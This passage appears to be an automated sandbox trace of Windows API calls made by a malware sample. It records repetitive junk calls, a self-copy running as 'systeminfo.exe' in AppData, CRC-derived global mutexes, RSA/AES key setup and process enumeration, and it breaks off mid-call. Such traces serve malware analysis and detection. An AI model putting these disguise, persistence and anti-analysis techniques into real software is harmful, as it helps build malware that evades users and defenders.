returned 0x57 [0123.978] GetCurrentProcess () returned 0xffffffff [0123.978] GetLastError () returned 0x57 [0123.978] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="A37P") returned 4 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetLastError () returned 0x57 [0123.978] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="A38P") returned 4 [0123.978] SetLastError (dwErrCode=0x57) [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] GetCurrentProcessId () returned 0x79c [0123.978] lstrlenA (lpString="just string") returned 11 [0123.978] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.978] GetLastError () returned 0x57 [0123.978] GetLastError () returned 0x57 [0123.978] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcess () returned 0xffffffff [0123.979] GetLastError () returned 0x57 [0123.979] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="A72P") returned 4 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcess () returned 0xffffffff [0123.979] GetLastError () returned 0x57 [0123.979] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="A73P") returned 4 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetLastError () returned 0x57 [0123.979] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="A74P") returned 4 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] lstrlenA (lpString="just string") returned 11 [0123.979] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.979] GetLastError () returned 0x57 [0123.979] lstrlenA (lpString="just string") returned 11 [0123.979] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.979] GetLastError () returned 0x57 [0123.979] GetLastError () returned 0x57 [0123.979] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcess () returned 0xffffffff [0123.979] GetLastError () returned 0x57 [0123.979] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="AC2P") returned 4 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcess () returned 0xffffffff [0123.979] GetLastError () returned 0x57 [0123.979] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="AC3P") returned 4 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetLastError () returned 0x57 [0123.979] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="AC4P") returned 4 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] lstrlenA (lpString="just string") returned 11 [0123.979] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.979] GetLastError () returned 0x57 [0123.979] GetLastError () returned 0x57 [0123.979] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="AF6P") returned 4 [0123.979] SetLastError (dwErrCode=0x57) [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] GetCurrentProcessId () returned 0x79c [0123.979] lstrlenA (lpString="just string") returned 11 [0123.979] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.979] GetLastError () returned 0x57 [0123.979] lstrlenA (lpString="just string") returned 11 [0123.979] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.979] GetLastError () returned 0x57 [0123.979] GetCurrentProcess () returned 0xffffffff [0123.980] GetLastError () returned 0x57 [0123.980] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="B81P") returned 4 [0123.980] SetLastError (dwErrCode=0x57) [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetLastError () returned 0x57 [0123.980] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="B82P") returned 4 [0123.980] SetLastError (dwErrCode=0x57) [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] lstrlenA (lpString="just string") returned 11 [0123.980] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.980] GetLastError () returned 0x57 [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] lstrlenA (lpString="just string") returned 11 [0123.980] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.980] GetLastError () returned 0x57 [0123.980] GetLastError () returned 0x57 [0123.980] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0123.980] SetLastError (dwErrCode=0x57) [0123.980] GetCurrentProcess () returned 0xffffffff [0123.980] GetLastError () returned 0x57 [0123.980] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="BA8P") returned 4 [0123.980] SetLastError (dwErrCode=0x57) [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcess () returned 0xffffffff [0123.980] GetLastError () returned 0x57 [0123.980] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="BA9P") returned 4 [0123.980] SetLastError (dwErrCode=0x57) [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetLastError () returned 0x57 [0123.980] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="BAAP") returned 4 [0123.980] SetLastError (dwErrCode=0x57) [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] lstrlenA (lpString="just string") returned 11 [0123.980] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.980] GetLastError () returned 0x57 [0123.980] GetLastError () returned 0x57 [0123.980] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="BB4P") returned 4 [0123.980] SetLastError (dwErrCode=0x57) [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] lstrlenA (lpString="just string") returned 11 [0123.980] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.980] GetLastError () returned 0x57 [0123.980] GetLastError () returned 0x57 [0123.980] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="BDCP") returned 4 [0123.980] SetLastError (dwErrCode=0x57) [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] lstrlenA (lpString="just string") returned 11 [0123.980] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.980] GetLastError () returned 0x57 [0123.980] GetCurrentProcessId () returned 0x79c [0123.980] lstrlenA (lpString="just string") returned 11 [0123.980] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.980] GetLastError () returned 0x57 [0123.981] GetLastError () returned 0x57 [0123.981] lstrcmpA (lpString1="J", lpString2="luck") returned -1 [0123.981] SetLastError (dwErrCode=0x57) [0123.981] GetCurrentProcess () returned 0xffffffff [0123.981] GetLastError () returned 0x57 [0123.981] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="C66P") returned 4 [0123.981] SetLastError (dwErrCode=0x57) [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcess () returned 0xffffffff [0123.981] GetLastError () returned 0x57 [0123.981] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="C67P") returned 4 [0123.981] SetLastError (dwErrCode=0x57) [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetLastError () returned 0x57 [0123.981] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="C68P") returned 4 [0123.981] SetLastError (dwErrCode=0x57) [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] lstrlenA (lpString="just string") returned 11 [0123.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.981] GetLastError () returned 0x57 [0123.981] GetLastError () returned 0x57 [0123.981] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="C90P") returned 4 [0123.981] SetLastError (dwErrCode=0x57) [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] lstrlenA (lpString="just string") returned 11 [0123.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.981] GetLastError () returned 0x57 [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] lstrlenA (lpString="just string") returned 11 [0123.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.981] GetLastError () returned 0x57 [0123.981] lstrlenA (lpString="just string") returned 11 [0123.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.981] GetLastError () returned 0x57 [0123.981] lstrlenA (lpString="just string") returned 11 [0123.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.981] GetLastError () returned 0x57 [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] lstrlenA (lpString="just string") returned 11 [0123.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.981] GetLastError () returned 0x57 [0123.981] GetLastError () returned 0x57 [0123.981] GetCurrentProcess () returned 0xffffffff [0123.981] GetLastError () returned 0x57 [0123.981] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="DA7P") returned 4 [0123.981] SetLastError (dwErrCode=0x57) [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetLastError () returned 0x57 [0123.981] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="DA8P") returned 4 [0123.981] SetLastError (dwErrCode=0x57) [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] GetCurrentProcessId () returned 0x79c [0123.981] lstrlenA (lpString="just string") returned 11 [0123.981] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.982] GetLastError () returned 0x57 [0123.982] GetLastError () returned 0x57 [0123.982] lstrcmpA (lpString1="X|M", lpString2="luck") returned 1 [0123.982] SetLastError (dwErrCode=0x57) [0123.982] GetCurrentProcess () returned 0xffffffff [0123.982] GetLastError () returned 0x57 [0123.982] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="DE2P") returned 4 [0123.982] SetLastError (dwErrCode=0x57) [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] GetCurrentProcess () returned 0xffffffff [0123.982] GetLastError () returned 0x57 [0123.982] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="DE3P") returned 4 [0123.982] SetLastError (dwErrCode=0x57) [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] GetLastError () returned 0x57 [0123.982] wsprintfA (in: param_1=0x20fd63, param_2="%X%P" | out: param_1="DE4P") returned 4 [0123.982] SetLastError (dwErrCode=0x57) [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] lstrlenA (lpString="just string") returned 11 [0123.982] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.982] GetLastError () returned 0x57 [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] GetCurrentProcessId () returned 0x79c [0123.982] lstrlenA (lpString="just string") returned 11 [0123.982] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0123.982] GetLastError () returned 0x57 [0126.360] GetLastError () returned 0xb7 [0126.360] lstrcmpA (lpString1="xÅM", lpString2="luck") returned 1 [0126.360] SetLastError (dwErrCode=0xb7) [0126.360] GetCurrentProcess () returned 0xffffffff [0126.360] GetLastError () returned 0xb7 [0126.360] wsprintfA (in: param_1=0x20f9eb, param_2="%X%P" | out: param_1="1B03EP") returned 6 [0126.360] SetLastError (dwErrCode=0xb7) [0126.374] GetCurrentProcess () returned 0xffffffff [0126.374] GetLastError () returned 0xb7 [0126.374] wsprintfA (in: param_1=0x20f9eb, param_2="%X%P" | out: param_1="1BFFDP") returned 6 [0126.374] SetLastError (dwErrCode=0xb7) [0126.404] lstrlenA (lpString="just string") returned 11 [0126.404] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0126.404] GetLastError () returned 0x0 [0126.404] GetLastError () returned 0x0 [0126.405] lstrcmpA (lpString1="ð>N", lpString2="luck") returned -1 [0126.405] SetLastError (dwErrCode=0x0) [0126.405] GetCurrentProcess () returned 0xffffffff [0126.405] GetLastError () returned 0x0 [0126.405] wsprintfA (in: param_1=0x20f9e3, param_2="%X%P" | out: param_1="1D50AP") returned 6 [0126.405] SetLastError (dwErrCode=0x0) [0126.419] GetLastError () returned 0x0 [0126.420] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x6) returned 0x0 [0126.422] GetCurrentProcess () returned 0xffffffff [0126.422] GetLastError () returned 0x5 [0126.422] wsprintfA (in: param_1=0x20f7d7, param_2="%X%P" | out: param_1="1E7B7P") returned 6 [0126.422] SetLastError (dwErrCode=0x5) [0126.422] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0xfc5b8 | out: pszPath="C:\\Users\\aETAdzjz\\AppData\\Local") returned 0x0 [0126.424] GetLastError () returned 0x3f0 [0126.424] GetLastError () returned 0x3f0 [0126.424] wsprintfA (in: param_1=0x20f7b7, param_2="%X%P" | out: param_1="1E7C2P") returned 6 [0126.424] SetLastError (dwErrCode=0x3f0) [0126.424] GetCurrentProcessId () returned 0x79c [0126.424] GetCurrentProcessId () returned 0x79c [0126.424] _snwprintf (in: _Dest=0xfc5b8, _Count=0x104, _Format="%s\\Microsoft\\Windows" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows") returned 49 [0126.424] _snwprintf (in: _Dest=0xfc7c0, _Count=0x104, _Format="%s\\%s.exe" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0126.424] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0126.424] GetCurrentProcessId () returned 0x79c [0126.424] CreateFileMappingW (hFile=0x124, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x120 [0126.424] GetCurrentProcessId () returned 0x79c [0126.424] MapViewOfFile (hFileMappingObject=0x120, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x360000 [0126.425] GetFileSize (in: hFile=0x124, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1e000 [0126.426] RtlComputeCrc32 (PartialCrc=0x0, Buffer=0x360000, Length=0x1e000) returned 0x9ae18cdc [0126.428] UnmapViewOfFile (lpBaseAddress=0x360000) returned 1 [0126.429] CloseHandle (hObject=0x120) returned 1 [0126.429] CloseHandle (hObject=0x124) returned 1 [0126.429] GetComputerNameW (in: lpBuffer=0x20f868, nSize=0x20f888 | out: lpBuffer="YKYD69Q", nSize=0x20f888) returned 1 [0126.429] lstrlenA (lpString="just string") returned 11 [0126.429] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0126.429] GetLastError () returned 0xcb [0126.430] _snprintf (in: _Dest=0xfc2a8, _Count=0x104, _Format="%S_%08X" | out: _Dest="YKYD69Q_705BA84C") returned 16 [0126.430] GetCurrentProcessId () returned 0x79c [0126.430] lstrlenA (lpString="just string") returned 11 [0126.430] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0126.430] GetLastError () returned 0xcb [0126.430] _snwprintf (in: _Dest=0x20f808, _Count=0x40, _Format="Global\\I%X" | out: _Dest="Global\\I705BA84C") returned 16 [0126.430] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\I705BA84C") returned 0x124 [0126.430] WaitForSingleObject (hHandle=0x124, dwMilliseconds=0x0) returned 0x0 [0126.430] GetCurrentProcess () returned 0xffffffff [0126.430] GetLastError () returned 0x0 [0126.430] wsprintfA (in: param_1=0x20f667, param_2="%X%P" | out: param_1="1E84DP") returned 6 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetCurrentProcessId () returned 0x79c [0126.430] GetLastError () returned 0x0 [0126.430] wsprintfA (in: param_1=0x20f657, param_2="%X%P" | out: param_1="1E84EP") returned 6 [0126.430] SetLastError (dwErrCode=0x0) [0126.430] GetCurrentProcessId () returned 0x79c [0126.430] GetCurrentProcessId () returned 0x79c [0126.430] _snwprintf (in: _Dest=0x20f708, _Count=0x40, _Format="Global\\E%X" | out: _Dest="Global\\E705BA84C") returned 16 [0126.430] GetCurrentProcessId () returned 0x79c [0126.430] GetCurrentProcessId () returned 0x79c [0126.430] lstrlenA (lpString="just string") returned 11 [0126.430] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0126.430] _snwprintf (in: _Dest=0x20f788, _Count=0x40, _Format="Global\\M%X" | out: _Dest="Global\\M705BA84C") returned 16 [0126.430] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\M705BA84C") returned 0x120 [0126.430] GetLastError () returned 0x0 [0126.430] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName="Global\\E705BA84C") returned 0x128 [0126.430] SignalObjectAndWait (hObjectToSignal=0x128, hObjectToWaitOn=0x120, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0126.430] ResetEvent (hEvent=0x128) returned 1 [0126.430] ReleaseMutex (hMutex=0x124) returned 1 [0126.431] CloseHandle (hObject=0x124) returned 1 [0126.431] GetTickCount () returned 0x5cee [0126.431] CreateTimerQueueTimer (in: phNewTimer=0x20f888, TimerQueue=0x0, Callback=0xf8e20, Parameter=0x0, DueTime=0x1388, Period=0x3e8, Flags=0x10 | out: phNewTimer=0x20f888*=0x4e4388) returned 1 [0126.431] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) Thread: id = 110 os_tid = 0x7a4 Thread: id = 111 os_tid = 0x318 [0131.533] GetTickCount () returned 0x70cb Thread: id = 112 os_tid = 0x760 [0132.440] GetTickCount () returned 0x7464 [0132.440] lstrcmpiW (lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe", lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 0 [0132.440] GetLastError () returned 0x0 [0132.440] lstrcmpA (lpString1="q", lpString2="luck") returned 1 [0132.440] SetLastError (dwErrCode=0x0) [0132.441] GetCurrentProcess () returned 0xffffffff [0132.441] GetLastError () returned 0x0 [0132.441] wsprintfA (in: param_1=0x246f61f, param_2="%X%P" | out: param_1="1E86AP") returned 6 [0132.441] SetLastError (dwErrCode=0x0) [0132.441] GetCurrentProcessId () returned 0x79c [0133.439] GetTickCount () returned 0x784a [0133.439] GetCurrentProcess () returned 0xffffffff [0133.439] GetLastError () returned 0x0 [0133.439] wsprintfA (in: param_1=0x246f8c3, param_2="%X%P" | out: param_1="1E86BP") returned 6 [0133.439] SetLastError (dwErrCode=0x0) [0133.439] GetCurrentProcessId () returned 0x79c [0133.439] CryptAcquireContextW (in: phProv=0xfc284, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0xfc284*=0x4e6200) returned 1 [0133.503] GetLastError () returned 0x0 [0133.503] wsprintfA (in: param_1=0x246f8af, param_2="%X%P" | out: param_1="1E86CP") returned 6 [0133.503] SetLastError (dwErrCode=0x0) [0133.503] GetCurrentProcessId () returned 0x79c [0133.503] CryptDecodeObjectEx (in: dwCertEncodingType=0x10001, lpszStructType=0x13, pbEncoded=0xf12f8, cbEncoded=0x6a, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x246f940, pcbStructInfo=0x246f944 | out: pvStructInfo=0x246f940, pcbStructInfo=0x246f944) returned 1 [0133.505] GetCurrentProcessId () returned 0x79c [0133.505] CryptImportKey (in: hProv=0x4e6200, pbData=0x4cfd18, dwDataLen=0x74, hPubKey=0x0, dwFlags=0x0, phKey=0xfc288 | out: phKey=0xfc288*=0x4e6a40) returned 1 [0133.506] LocalFree (hMem=0x4cfd18) returned 0x0 [0133.506] GetCurrentProcessId () returned 0x79c [0133.506] CryptGenKey (in: hProv=0x4e6200, Algid=0x660e, dwFlags=0x1, phKey=0xfc28c | out: phKey=0xfc28c*=0x4e6b98) returned 1 [0133.506] GetCurrentProcessId () returned 0x79c [0133.506] CryptCreateHash (in: hProv=0x4e6200, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0xfc290 | out: phHash=0xfc290) returned 1 [0133.506] lstrlenA (lpString="just string") returned 11 [0133.506] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.437] GetTickCount () returned 0x7c31 [0134.437] GetLastError () returned 0x0 [0134.437] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x246f730, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0134.437] lstrlenW (lpString="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe") returned 64 [0134.437] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x12c [0134.439] GetCurrentProcessId () returned 0x79c [0134.439] Process32FirstW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.439] lstrlenA (lpString="just string") returned 11 [0134.439] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.439] GetLastError () returned 0x0 [0134.439] GetCurrentProcessId () returned 0x79c [0134.439] lstrcpyW (in: lpString1=0x4e6f6c, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0134.439] GetLastError () returned 0x0 [0134.439] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="1E8BCP") returned 6 [0134.439] SetLastError (dwErrCode=0x0) [0134.439] GetCurrentProcessId () returned 0x79c [0134.439] GetCurrentProcessId () returned 0x79c [0134.439] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.439] GetCurrentProcessId () returned 0x79c [0134.439] GetCurrentProcessId () returned 0x79c [0134.439] GetCurrentProcessId () returned 0x79c [0134.440] lstrlenA (lpString="just string") returned 11 [0134.440] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.440] lstrcpyW (in: lpString1=0x4e7184, lpString2="System" | out: lpString1="System") returned="System" [0134.440] GetLastError () returned 0x0 [0134.440] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.440] GetLastError () returned 0x0 [0134.440] GetCurrentProcessId () returned 0x79c [0134.440] GetCurrentProcessId () returned 0x79c [0134.440] lstrcpyW (in: lpString1=0x4e739c, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0134.440] GetCurrentProcessId () returned 0x79c [0134.440] GetCurrentProcessId () returned 0x79c [0134.440] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.440] lstrlenA (lpString="just string") returned 11 [0134.440] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.440] GetLastError () returned 0x0 [0134.440] GetCurrentProcessId () returned 0x79c [0134.440] lstrcpyW (in: lpString1=0x4e75b4, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0134.440] GetCurrentProcessId () returned 0x79c [0134.440] lstrlenA (lpString="just string") returned 11 [0134.440] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.440] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.441] GetLastError () returned 0x0 [0134.441] GetCurrentProcessId () returned 0x79c [0134.441] GetCurrentProcessId () returned 0x79c [0134.441] lstrcpyW (in: lpString1=0x4e77cc, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0134.441] GetCurrentProcessId () returned 0x79c [0134.441] lstrlenA (lpString="just string") returned 11 [0134.441] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.441] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.441] GetLastError () returned 0x0 [0134.441] GetCurrentProcessId () returned 0x79c [0134.441] GetCurrentProcess () returned 0xffffffff [0134.441] GetLastError () returned 0x0 [0134.441] wsprintfA (in: param_1=0x246f447, param_2="%X%P" | out: param_1="1E965P") returned 6 [0134.441] SetLastError (dwErrCode=0x0) [0134.441] GetCurrentProcessId () returned 0x79c [0134.441] GetLastError () returned 0x0 [0134.441] wsprintfA (in: param_1=0x246f45f, param_2="%X%P" | out: param_1="1E966P") returned 6 [0134.441] SetLastError (dwErrCode=0x0) [0134.441] GetCurrentProcessId () returned 0x79c [0134.441] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.442] GetCurrentProcessId () returned 0x79c [0134.442] GetCurrentProcessId () returned 0x79c [0134.442] GetCurrentProcessId () returned 0x79c [0134.442] GetCurrentProcessId () returned 0x79c [0134.442] lstrcpyW (in: lpString1=0x4e79e4, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0134.442] lstrlenA (lpString="just string") returned 11 [0134.442] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.442] GetLastError () returned 0x0 [0134.442] Process32NextW (in: hSnapshot=0x12c, lppe=0x246f4f0 | out: lppe=0x246f4f0*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.442] GetLastError () returned 0x0 [0134.442] GetCurrentProcessId () returned 0x79c [0134.442] lstrcpyW (in: lpString1=0x4e7bfc, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0134.442] GetLastError () returned 0x0 [0134.442] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.442] SetLastError (dwErrCode=0x0) [0134.442] GetCurrentProcess () returned 0xffffffff [0134.442] GetLastError () returned 0x0 [0134.442] wsprintfA (in: 